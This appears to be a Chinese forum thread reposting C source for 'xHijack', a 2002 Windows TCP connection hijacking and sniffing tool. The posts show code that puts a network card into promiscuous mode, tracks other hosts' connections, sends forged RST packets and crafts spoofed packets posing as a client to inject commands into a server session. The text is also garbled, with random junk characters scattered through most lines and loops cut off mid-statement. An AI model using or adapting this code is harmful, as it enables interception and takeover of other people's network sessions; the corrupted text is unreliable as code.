    # k" n. Q+ y9 W, E/ Z            SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq); ) a; C. }% \+ `1 P! Y; o
                //send hijack packet to client # ?6 W9 a) F5 U! U) |& S1 F
                SendHiJackPacket(pTCPPacket);
    / {; u* ~, H# z$ ?            //reset action flag   W# H; N; O0 |' q+ g& l
                ResetActionAllFlag();
    . h0 V7 H/ G. X, C5 p4 K  P          }
    # W1 F4 [/ v: p5 F5 X, K        }
    * t+ l8 _2 E) x- ?# ~+ R        //show the tcp data
    * O+ ~. G% Q* ~- |        if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
    / o. W. S/ M. w6 {+ |        {
    1 m9 D; j; H+ c" Z5 A! N          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
    ( E3 b4 I" y% r* F9 V          //暂不考虑IP、TCP头不是20字节的情况
    ( @2 E- P' I9 [          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; & ?  [. E7 H4 u# ~# \
              pStr = (char *)pTCPPacket + 54;
    4 y- }1 ?( Y1 d+ D* t' J8 I          for(i=0; i        }
    8 `) u2 s1 n8 [9 @5 y( e) d! w# z      }
    8 X3 U( t( g9 Y+ Z% z- m      //debug output
    4 D! ^' m; |# c3 }1 X2 Q      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); 2 C; c" D0 a3 ?# ?+ W2 o
        }//end of analyse packets while
    , Z$ d" x3 Y3 k. ]; g7 o  }//end of recv packets while ! m) ^3 F1 [9 n5 o! w0 K; \
      PacketFreePacket(lpRecvPacket);
    4 l8 v8 t) K" B% v) r0 G' Z  return 0; - j& w2 g- G0 x2 g) f
    } 4 }; z+ o7 w9 F
    5 t5 ^% v, E) T$ q
    9 `9 m* p* @2 H- J
    //
    / R" ^. u3 _6 _/ f) `//功能:操作记录所有连接信息的单向链表
    4 b! ^0 N$ ]; F5 B//
    1 k. j. ?/ R/ q  Z) a) ]. u! q# p: PDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, / ~8 A5 f+ I5 Y5 u+ l. _/ W0 M7 E2 X
                USHORT uClientPort, BOOL bDelete, BOOL bAddNew) # C8 r7 e+ X3 n, W
    { 5 v* Q7 l! }, `( }3 q
      PCONNINFO  pNew, pTmp; ; {6 r! J( ~& B* G0 n
    " e" a% l, Y" A6 U
      pTmp = g_pConnHead; $ g% S$ p% x6 k9 }
      while(pTmp) + c, m0 @* {7 K+ i1 B3 s4 a
      {
    - s$ L; b% i, t4 V5 u    if(pTmp->bActive)
    & Q3 j! H- F! B! q3 L    { # q$ F* g* W8 Y+ t% n/ s/ z7 ^8 C
          //found it # w5 L8 A$ w' ?" M
          if( (pTmp->dwServerIP == dwServerIP) &&
    0 F) b) P* l" V! `        (pTmp->uServerPort == uServerPort) &&
    $ T" N% [1 ]" u        (pTmp->dwClientIP == dwClientIP) && 7 ]( L0 \! i$ S+ L* \9 i1 N! R
            (pTmp->uClientPort == uClientPort) )
    4 K$ B0 K. a& T$ u; k0 Z' @      {
    - b! M9 m  e& W. I$ B. z4 y3 h        if(bDelete) 0 |( P; u7 W" J  {4 B" d, Y
            {
    7 O8 O( I- H  t" }! H          pTmp->bActive = FALSE; / p! b5 R" I0 T  U+ F1 D  }
              return 0;
    3 W# E0 U6 {* ~$ |( {2 s) v, J        }
    + e" U$ `9 T' M: b. I  R        else return pTmp->ident;
    9 `- Y9 J$ D, w- }( [" L) v      }
      F  z+ e: {9 z9 ~3 L* H/ W    }
    * p. O' T; z% _8 z    pTmp = pTmp->Next; / N8 m* R% a) L- M
      }
    . K, D  p6 W. q/ L' m8 j3 m  //not found, create new node ( @: Y5 X+ r$ H4 l
      if( (!pTmp) && (!bDelete) && (bAddNew) )
    7 W0 t0 `9 Q: \/ I/ Y' [8 ~  E  { - E) p' m, R& E' Z' k
        //search unactive note
    ( H- x9 X: V! a6 d: `+ r    pTmp = g_pConnHead; 7 |' |, }+ `! ~, }8 `' z1 x% V- v) i
        while(pTmp)
    9 B, j8 q: q: G8 C2 g" I* J    {
    ; k. o" b' D. S: M$ I% [      if(!pTmp->bActive) break;
    % O1 Q7 N3 b2 c- R6 M" b, i9 e, G" B# y      pTmp = pTmp->Next; & C1 @" f6 M0 {! y5 c% f% \% e
        }
    , I( V" z5 ^# @$ }7 Z    //found a unactive node & Y9 s$ Q, r# E* ^5 Q/ a$ S
        if(pTmp) 9 c. m9 A* u$ h% J0 E3 P
        { 0 ~6 A  y. [: X1 |
          pTmp->dwServerIP = dwServerIP;
    , {! G* \8 e& l5 C/ O! J( M* O1 b      pTmp->uServerPort = uServerPort;
    # I" o  I& ?; ^0 T5 b7 q, I      pTmp->dwClientIP = dwClientIP; - _$ s+ T3 }5 Y1 Z/ x
          pTmp->uClientPort = uClientPort;
    5 ?* X& f9 d4 O$ R      pTmp->bActive = TRUE;
    8 L6 ?: B' S* ~2 a: x      return pTmp->ident; - {; P3 M4 r- b, v9 w
        }
    ' ]1 c7 h& e7 S+ f    //not found,create new node ! _: l7 K1 o# N7 x( V7 G2 U) f6 d
        pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
    5 t9 I* d; V" G9 Z) Y! C    if(!pNew) + y5 m3 t, D- ]0 V/ _1 I
        { + Y' R5 x! F( Q
          printf("malloc for link node error:%d\n", GetLastError());
    6 C/ d2 `( U/ b  y# u      return 0;
    / C7 Y9 g+ B' x* [5 R    }
    ! G! n! Z4 ^1 ?/ |4 N    //fill the struct
    " J- p8 o4 N& e" Q5 N6 [9 l    pNew->bActive = TRUE;
    ; h% S; \# w+ X, [4 v    pNew->dwServerIP = dwServerIP;
    ( E& J* Q' J- J$ o* M    pNew->uServerPort = uServerPort;
    6 V+ J# D( c8 k' H8 b9 t' D    pNew->dwClientIP = dwClientIP;
    : M4 M3 N# m: g. w    pNew->uClientPort = uClientPort; : v4 C: s% S" U" `8 N: d
        pNew->ident = ++g_ident;
    + W- l& r3 [% J: h0 d( P) z" P    pNew->Next = NULL;
    * D; t; i0 }7 Y- N& O# [    //add new node to link 2 F7 L" q- e" r3 U
        if(!g_pConnHead)
    " X) F- W$ j, Q, [. Z      g_pConnHead = g_pConnLast = pNew; $ L' T' n# {& K( [" _+ @, s
        else - ]$ ?# K/ W6 q( a: A3 I! G
        {
    : ~% x0 c, H5 x- T+ W      g_pConnLast->Next = pNew;
    & w  y! V4 c& m. O      g_pConnLast = pNew;
    7 h! F# T1 J( [; B    } " c6 I5 x1 ?$ K& a, i
        return pNew->ident; ' }: {! c3 Q  \9 u
      } / O/ _8 J3 G$ u" x2 k3 o2 }: O
      return 0; 5 m+ \- V- `* h0 s4 g+ V. E2 i
    }
    0 K7 O2 C+ d( e6 i8 A7 O+ \- \. a" j7 Q2 A$ q: o! l( Z
    //
    0 x! d+ Y/ e8 h- @//功能:判断一个数据包是不是只有ACK标志
    / \2 {0 q( H7 H$ d. A' d//
    % P3 E7 b: A# R) Z* e1 Y. yBOOL IsACKPacket(unsigned char flag) % ~" H  g9 _: Y$ J
    {
    1 p  K) w5 B8 e# p9 x2 O" S5 }, `  int  i, j=1;
    6 M4 s' R, l' |+ {, a0 \8 S5 o4 I  for(i=0 ; i<4; i++) $ v, j7 a/ N" s
      {
    . C' @- v* N6 Q, ^2 ^' x2 O    if(flag & j) return FALSE;   G$ s; o. `, f+ S( n0 I: w
        j <<= 1;
    " n# F4 o/ T; g5 a" }  }
    ; h3 k+ m( F2 {4 m+ X3 h: k  if(!(flag & 0x10)) return FALSE;//is ack?
    . M3 Y5 f# k6 n5 L# F  if(flag & 0x20) return FALSE; " o" G' {' n! i. K  k9 Z
      return TRUE; ' A7 @  t& J& C" T- S
    } ) h& Q. j6 d3 z: L) ^
    ' K: J0 B- L# Z( R" U6 g. [
    // & ~# s8 O$ Y. ^1 O
    //功能:伪装成Client给Server发送数据包
    ' g9 g& O: ~, g. K* l// / ~( {* d! X& W+ ?4 o" q9 T
    BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
    ) a, C, H1 P  l- J# K{
    # o7 y2 a2 j* P2 p# s8 a! d* _' n: P8 a. G2 w9 B
      char    szBuff[1520];
    0 v# d4 F% G: k7 z0 |! x$ x* x  PSDHDR    psdhdr; 0 X; U, y0 [& F! A. U
      PTCPPACKET  pHiJackPacket = NULL;
    7 t7 l- [3 u. d2 Y6 q  BOOL    bRet = FALSE; ; c( K! X  z6 Z
    & _/ c8 c( n! x  r+ T. W& w
      __try
    3 l  A1 X+ |7 L" s  { ! F5 ~- M5 I& U& ^) N2 j
        //
    8 o5 p2 o- I! n0 y; u    if(!g_pCurrCtrlConn) __leave;
    7 }+ P5 `% u( J8 B% }' j    //allocate memory for hijack packet 7 N3 j4 l! o9 m/ z
        pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
    , R5 q& p, J; p9 |; k% S% U. ]    if(!pHiJackPacket) 9 Z" k9 ?3 h/ z# X2 h1 n, c
        {
    9 d, C% Q2 F6 r% ^2 f' P      printf("malloc error:%d\n", GetLastError());
    ( G4 \% @5 O  X. N      __leave;
    0 S" p! l8 G; h    }
    : M" c: D3 b% n+ l6 o( k( e    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET)); # }3 Q. q2 z3 @+ M, Z2 L- O/ K* ?
        //-------------- modify the packet ---------------//
    ' W. f( g& l4 y6 _; _& ?7 `    //modify ethernet head
    ) X8 r) Z: Z, d5 b    memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
    0 b. `- i9 B$ g: b    memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
    6 E& C6 p, B7 ]/ e4 ?. ?    //modify ip head 3 L' P3 e1 k0 D: w! W$ q; R/ W
        pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
    * q7 Q$ N% z$ N2 V    pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); 2 V+ ], Y) ^+ [( K) P
        pHiJackPacket->iphdr.ident += 1;//标识加1 , c2 Q$ Q  d: w6 Z
        pHiJackPacket->iphdr.checksum = 0;
    8 @$ L4 d0 p: M. G$ J$ a+ P9 U- S3 C    pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client * B+ b  e$ V, b. e6 A+ R3 Z
        pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址
    / f: n: k2 R0 h1 o! C) G    //modify tcp head
    3 l" |* m/ \3 ]5 p    pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port 7 _: X, S8 A) R  M. j( d, C
        pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port 0 a) F6 E, }, d! `; W. [# i
        pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0); % J. K  p3 g: R3 I9 T
        pHiJackPacket->tcphdr.th_flag = 0x18;// PA 1 }/ F6 S7 n/ R6 U% V0 V# S1 k; J
        pHiJackPacket->tcphdr.th_sum = 0;
    1 z( _# E# \! K4 A+ o6 P% Q/ V: V    pHiJackPacket->tcphdr.th_win = 0x3F44;
    $ I+ U* `( m2 ?8 }' }    //fill tcp psd head
    8 t& _+ u3 y8 k+ r    psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;           
    3 p( s/ u2 A  b. V: L    psdhdr.daddr = pHiJackPacket->iphdr.destIP;           + i& h+ ]1 O2 G9 H
        psdhdr.mbz = 0; : _: E6 o) u9 |6 V* H
        psdhdr.ptcl = IPPROTO_TCP; ) G7 i0 R( l3 e# N6 m+ A
        psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len ) y/ Y4 J/ k! }( O
        //calculate tcp checksum     , q: M8 P+ p# d
        memcpy(szBuff, &psdhdr, sizeof(PSDHDR));   
    6 v4 e& @, S: J4 d3 ]    memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR)); 8 ?! X% b' b! x' U- x/ T3 m' f
        memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); ) I# m; P# U; [0 l  d; o
        pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
    9 M+ t  \9 t, F/ L; ]4 k    //calculate IP checksum
    4 r: g  D) Z* v' P' S% b3 Z    pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR)); 5 j" |  V* ^" d  X
        //fill send buffer           ' ^: M, b/ {6 {2 N
        memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); ( \! B) U, q7 G8 F0 ~4 ?4 h
        memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
    + |% |( @/ _+ b7 k; ^$ o    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
    , R& B3 @" k/ |* M3 b) @0 g    memset(g_lpSendPacket->Buffer, 0, 1514); ' I/ w1 G( v" O8 v
        memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
    , j8 W1 }5 B7 q5 w    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) / b4 [6 g$ Y, H' B# l
        { : `' N: {$ q( Q
          printf("Error sending the hijack packets!\n"); , j9 U' n- M5 D& |) m
          __leave;
    ! h& L; q( f3 g8 B8 f    }
    . W0 f% T1 O, k/ X/ @7 R    else printf("Send hijack packet ok!\n"); ! `+ x0 R, @* o1 m& p4 j, V
        bRet = TRUE; ( V5 j# L  }% ^. H& ]* q
      }
    回复

    使用道具 举报

    韩冰        

    823

    主题

    3

    听众

    4048

    积分

    我的地盘我做主

    该用户从未签到

    发帖功臣 元老勋章

    if(strstr(szSelectAdapterName, pTmp->AdapterName)) & W+ K; ?- F2 c% N- v& p0 ]2 t8 B* U { 6 g" O" G2 [( t& w" Y6 ?" Y //found it,get own adapter mac address 3 _: f9 g+ i, H memcpy(g_szOwnMAC, pTmp->Address, 6); . K* q1 b' G9 `5 s //get ip address - }* f: l& \2 J3 e8 d# ` pIPAddr = &pTmp->IpAddressList; 9 U3 P# f# t/ o, H( ]' C) l7 i while(pIPAddr) ; D; I$ |2 \0 _0 t5 y7 N, X; Q8 S { 0 f7 H( g F- H* G6 L& \, K g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); ' e1 @4 Y5 Y4 }9 }& j! l3 m( v% ` pIPAddr = pIPAddr->Next; ; Y3 j" Q* y( j' G if(g_TotalIP >= Max_Num_IPAddr) break; / e: `5 g) ]! s" u4 v* ?; f } [* z& w! ~ ?- a* E: ~ break; 9 s: e# q3 v7 e/ ] } 8 m6 i* X1 r" }7 l9 Q0 Z pTmp = pTmp->Next; 9 B# e3 e R% ?3 t } 4 N; \6 G2 R- e free(pAdapterInfo); - ]% X9 @3 r( p" B# z5 i //not found,return zero 5 y8 I9 g) U3 |5 W1 r2 E3 u$ ~ if( (!pTmp) || (!g_TotalIP) ) return 0; . _# X w: A+ U3 O) O! {: j9 L //---------------------------------------------// - k. z) [1 q' s! L //open adapter " E) l0 L( r. r2 R9 F1 g* M3 `3 h lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); ( \+ l* t3 u9 Z" j% j5 T( U9 |$ e& y& w if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) , a$ v" g% w6 W1 g' _7 ~ { 0 M/ v$ y% p5 V( Y# z( s9 l# T iRetCode = GetLastError(); & Z/ h5 c) z! S printf("Unable to open the driver, Error Code : %lx\n", iRetCode); % [- O n4 c) Y8 Z return 0; # z* [) B7 E$ Y# I( C2 a } 8 V% j ]: r+ }) w; R W // set the network adapter in promiscuous mod - I0 f7 m* E" N. p7 X/ J if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) & _2 A. a) l8 @. l- f2 y0 A# J { / j& s; k6 P) d printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); . E# [+ i- N6 }8 y if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) 9 H1 [* P1 _0 f' l2 O( x4 t { ' G3 A: s! ?/ G# B* w- A printf("Unable to set ALL_LOCAL mode!\n"); 1 X, U0 {9 Z- V+ ?) g% H return 0; - h/ Y# J! Y' |. Q3 C5 Y } % Q; u' a3 X; |6 B7 s% T' G/ m8 a& ] } 3 g0 o% V& Q# U3 i, O // set a 512K buffer in the driver # t# l! @7 G7 F1 v. T: ` if(PacketSetBuff(lpAdapter, 512000) == FALSE) , `3 n T& |; j9 D. H% {1 w: V/ V { 3 C' e+ C5 w# ?6 Q printf("Unable to set the kernel buffer!\n"); 1 Z2 d; k8 A$ q! \8 f7 K* n return 0; " @* \' \7 Z$ t. \, P- | } * Y# D' C0 H9 {$ Z- x- c! |" S+ { // set a 1 second read timeout 7 E: d' ~1 W& u0 t& [3 j( ] if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) 6 D1 `3 S X; C printf("Warning: unable to set the read tiemout!\n"); % a2 p/ q- v2 `. J. X* E2 ^ if(PacketSetNumWrites(lpAdapter, 1) == FALSE) $ e! [* e3 W1 Z- a& K7 l printf("warning: Unable to send more than one packet in a single write!\n"); ( d: H) w8 M: n8 ?5 i //设置发送的packet 3 c: V. x9 Q, M2 [9 R7 S" [ g_lpSendPacket = PacketAllocatePacket(); / V! W3 n8 @, ? if(g_lpSendPacket == NULL) m6 f2 S; \, Y5 W# N0 ^ { 5 V5 u& z2 ~" m5 x' Y- d printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); s3 u* ^8 g+ l1 N. @+ N$ [ return 0; 6 I1 l6 w) ]; ~: q; Y4 C# I, k } - |& ]: `2 L$ z' y9 s, S ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); & {* p( ~0 p1 r$ W1 @ ~ PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); # V# J7 E" @9 L5 @7 _5 X return lpAdapter; . @- p3 J) S' j8 w" F; Y$ B) o } 7 ?. s/ z# ?& I% \: o # s% P. r( _/ t$ z//功能:帮助信息 , g$ a7 d, v/ Q void usage() & O- H- g2 M1 M, r+ S* q{ * I; ~. j& S1 l- o printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" 5 [( I2 e: G5 o "By eyas 2002/8/19\n" x! [) z) X0 w "http://www.ey4s.org\n" ; F! ?6 T# j! P" v3 ~2 h N5 W "Thanks to Refd0m and shotgun\n\n" ( Q* A+ S& r9 Z; w" p: Z3 F "Usage: xHijack ServerSide ClientSide\n\n"); * {6 u f( z& g+ e } 7 M7 \! X# S5 r; o. z+ L( X' l/ N) A! T$ c$ H! l3 a1 S7 [: R% }) s, R0 V // ' y5 r( H. T; y//功能:显示数据包的一些详细信息 : B' F9 \* s$ h! R9 E- D/ o' s0 p // " Z8 u4 P ^ ]$ }' L$ m+ M VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) 0 q, ^+ [2 I1 e3 s/ t) W{ 5 y! j7 r0 n! A0 y$ ^) T SOCKADDR_IN saDest, saSrc; ; k( t6 z1 @& Q. m8 K unsigned char FlagMask; + ~! d9 \2 g& a+ k- h/ [3 D) V int i; & u1 B' a/ N: T. c! l j' L& u( M4 @' Q" z* h1 C( K; t saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; 4 o9 j) N) }5 E8 Q5 u( C z saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; 0 o4 n0 }" q; S& g3 Q printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); ) L- f; f, H; u2 E# ~- }6 S printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), L& o# c& y# Q: j9 ? ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); 9 T4 g' v; `) R( k6 a //display TCP flag $ {. ?( I' J+ g" g1 r$ I9 y7 P( U for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) % ~" Z0 P0 v$ l, w0 C ?8 S8 X2 y { 4 U( K* `9 @8 z7 [, g6 {$ ? if((pTCPPacket->tcphdr.th_flag) & FlagMask) ) c ^9 b# }; r3 A0 k) b printf("%c", g_szTcpFlag); 1 v9 T: u# w9 C else printf("-"); + {: z5 A$ S U1 w0 q2 `4 }! d } ! U' n( \7 c, Q" Q printf("\n"); + J8 t( a9 K$ J3 Z# u //如有需要,可显示更多详细的信息 O$ n1 I! u( l if(bDetail) ) G! y: K" e2 _2 D printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); 7 {. D3 |! C% F. ] } * t+ x& O% b8 D& V9 L ( K' u; I! |% m6 ^4 C // [) Q# Q9 L S; b' e//功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 8 @; K6 {$ a" r& ^0 v// 1 h% f6 j$ e2 m# O3 t DWORD WINAPI AnalysePacketsThread(LPVOID lp) 4 C& g0 [2 t" E{ 5 r f7 G% j7 B# _" t ULONG ulBytesReceived; ; o& n- D+ R9 F. W \" N) M USHORT usDataLen; / x" B* s1 G! P$ I& ] D$ O //USHORT usIPHeadLen, usTCPHeadLen; ( H& E9 g+ y$ A+ M i [ char *buf; / C+ w! `2 \4 }5 X; C( m u_int off, i; 8 v4 G b' b: Z+ P+ R PTCPPACKET pTCPPacket; + \* ~: { n3 S' }' P6 K% s struct bpf_hdr *hdr; , _& I5 L6 ?# X" T LPPACKET lpRecvPacket; ) R r% B, P' r8 c" ?2 [5 [ char szPacketBuf[256000], *pStr; $ o# n4 O# Q, d4 F% n BOOL bDeleteNode, bAddNew; / L& y; [- x1 ^) ]& D: p( ]8 P DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 5 q. ]9 }4 r( W* p5 [ BOOL bClientToServer;//数据包是否从客户端发送到服务器端 - w" v$ ~) v7 p) f$ G6 P6 M1 R- A7 K( \* X //设置接收的packet 5 G+ i+ v2 o6 x( l; V lpRecvPacket = PacketAllocatePacket(); ; ^1 m. L- v3 m2 f/ ]2 s! D if(lpRecvPacket == NULL) 6 ^: w: c- E$ R6 J7 h9 P# O { 4 o/ ?$ N7 q# k* K printf("Error:failed to allocate the LPPACKET structure for recv.\n"); 3 ^& ?; R6 [2 `: h return 0; - m3 s4 X! ~/ x) V `+ e: M } 1 [6 w: r% l: s: q/ y- T ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); 1 }5 ~& N* j3 ]) G& t' k PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); ( z2 i: a# R3 Y; P while(1) P( Z; `/ ?3 I# R( m9 U+ q; N( ` { 6 r& w- N: y/ [ // capture the packets / A% Z5 v' H$ ?) J( b7 ? if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) 0 C3 c7 t6 Q [) n9 a/ V { ! X6 O2 T4 u) k printf("Error: PacketReceivePacket failed.\n"); - G0 z m. L; K3 a$ J( n break; 5 y* f" o: X3 Y$ q) l2 G5 b" F } ) a5 n- {1 X+ Z, s0 U1 K ulBytesReceived = lpRecvPacket->ulBytesReceived; 0 M$ `& T- ~- X1 c f8 B6 W buf = lpRecvPacket->Buffer; & o$ B: I, j$ D3 e off = 0; 7 V5 a/ G1 \ J, n while(off < ulBytesReceived) 8 u6 J9 u# J$ z/ @7 D. ~0 W1 l { , U( Y1 V1 E& _' p hdr = (struct bpf_hdr *)(buf + off); ( J9 n% B" y' m& P" r6 R off += hdr->bh_hdrlen; 1 w" c" ?! Z6 k) u3 h6 L' [; L pTCPPacket = (PTCPPACKET)(buf + off); & ~& @+ ~# S5 Z/ `" m off = Packet_WORDALIGN(off + hdr->bh_caplen); 7 @# o9 v$ ~0 D% Y1 O# N //不需要处理自己发出的包(转发或本机发送的) . `- K) Y# t8 b+ I5 e3 u if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; % X3 M Q [2 w/ Q, s2 ` //检查是否IP包 ' c2 `0 W0 C! c8 u8 G if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; & X% H- p2 g' h. _ j //检查是否TCP包 4 f7 D" z" I+ r8 A2 x if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; + c/ T* ^* ~9 s //也不处理DestIP是自己的包 ( p1 B+ H! d- A+ e- G6 i8 D for(i=0; i
    回复

    使用道具 举报

    韩冰        

    823

    主题

    3

    听众

    4048

    积分

    我的地盘我做主

    该用户从未签到

    发帖功臣 元老勋章

    // 2 A, z* s' y( H" r l/ i //功能:列出当前所有连接 ) J# a+ V7 A8 J% F// * ~6 M) Q. R- l0 yvoid ListAllConnection() : M& Q! g5 Y0 `& F4 w { 0 X4 s7 `4 |0 x4 |0 \! c8 V9 ~" u PCONNINFO pTmp; ( C1 c4 E/ C4 L1 R SOCKADDR_IN saDest, saSource; * _6 v" U! F- B& y0 N9 b pTmp = g_pConnHead; $ O5 m4 x, U8 r8 ^1 C1 |# I while(pTmp) $ ^6 G( V4 c- H i. } { 2 o& i# K0 E( s if(pTmp->bActive) $ c2 k3 ^3 C# U: ]- o$ R { ! q9 W+ @1 Q, N9 g' Q8 _. u) t$ w z saSource.sin_addr.s_addr = pTmp->dwServerIP; . [+ S& I3 ^, ^( F- j+ O _8 p7 u saDest.sin_addr.s_addr = pTmp->dwClientIP; ) B) X0 L: j y, T* ?% V printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), ! k2 ^1 s6 q) A* Y, m* L2 N ntohs(pTmp->uServerPort)); - v$ C' r& m$ t0 e! J printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); $ ?) J! U' ~+ N! s } 7 ~" Z& {4 B8 a! r4 y& W; e pTmp = pTmp->Next; , X& |8 x" n# R( G } 5 D3 N! L3 B% ^1 K- [5 A7 g} 6 Q2 j5 S# {5 a% k # j( M5 W8 {$ y3 S! L( o$ h8 Q// 6 J: `; A5 v2 r( e//功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 ! k! ?; |' O; N// 7 z' a+ J8 Q5 b5 i' j6 i LPADAPTER InitAdapter() . u. I6 d6 d: b/ j2 S7 \ { 8 ^. {7 B4 H; E( {1 I7 E1 R LPADAPTER lpAdapter; ( L8 r* B! _ r& C static char AdapterList[Max_Num_Adapter][1024]; 6 S; ? Z' a/ f& c char szSelectAdapterName[512]; 6 X" C- T+ \! d; Y' d WCHAR AdapterName[2048]; 2 A; y, N/ v3 Z WCHAR *temp,*temp1; ; s0 v! R2 A! V ULONG AdapterLength = 1024; " }. f2 A* k2 H; _ int iAdapterNum = 0; 4 r5 z* I$ t# d4 U. w* z int iRetCode, i; 4 J- W7 q" i9 F* S- [ int iAdapter = 0; ; N7 i3 E/ g; s5 _7 x: B6 ^ ULONG ulLen = 0; ; o5 j. C; B: c$ y! N! g DWORD dwRet; & }4 }1 C! `; W PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; ; o9 I% I$ J! o; v- p" Q* q PIP_ADDR_STRING pIPAddr; * A, A# N. Q7 x1 Q$ s4 \) Q. c" i //Get The list of Adapter + y L$ r* i% r, x3 J: _0 i if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) 7 |- h' m1 T0 V# J { ) L/ @; J6 T3 \2 v printf("Unable to retrieve the list of the adapters!\n"); ' C; G+ q7 s( O return 0; 9 A; t. d1 s$ ]! x0 _+ Y9 M* B- X } ' c+ R3 k$ j+ U/ T: i- M7 ` temp = temp1 = AdapterName; # q& q/ V3 X% y8 M; Q$ I i = 0; # q+ {& \- m7 g3 ^ H1 `# a while ((*temp != '\0')||(*(temp-1) != '\0')) , H7 G' |/ ?' g6 ` { : E! ]4 {, ]6 T' r" D$ h1 w if (*temp == '\0') 4 V3 y, W) n* ~0 m. M1 m" [ { 6 ^; A2 f7 u6 d6 K! X) r2 C' k memcpy(AdapterList,temp1,(temp-temp1)*2); 0 [9 ^ O: q+ x% g$ h4 s1 t! c printf("%d - %S\n", i+1, AdapterList); * L6 v7 u1 v" X3 _ temp1=temp+1; # T, [1 s/ K1 ?0 j. U i++; ' d$ ^0 Q8 k# A1 Q$ L5 t+ A. ~ } $ d3 A2 h/ {+ `9 m temp++; 7 _1 C9 f7 f/ Z. d9 I9 n4 @6 N } 5 `8 J& G! h5 _) v; B5 q //choose adapter , }; o) T3 s& g. ?6 H0 j6 |( Q4 H while((iAdapter <= 0) || (iAdapter > i)) b, I& R5 S, @( ? _# \( I. q$ | { 0 V$ A# l0 X& P$ Z5 n' ]( J) j9 X' q) m printf("\nPlease choose your Adapter:"); 0 V- z& E5 K2 L P- r; X" P) T scanf("%1d", &iAdapter); - ?* ~5 D% o! A, G! O9 r- ] } 9 t# r! w4 q/ H$ i4 o( A3 x% O! M printf("\n"); 9 y# A. v+ X- e! B8 m' B //---------------------------------------------// - t7 k, G! _: [0 z- C1 N% p //这里调用iphlpapi来取得本地ip_addr和mac_addr 2 r7 {( o8 x+ [# b" ^ sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); " D2 n6 `/ X4 n$ [& ^1 h2 g* 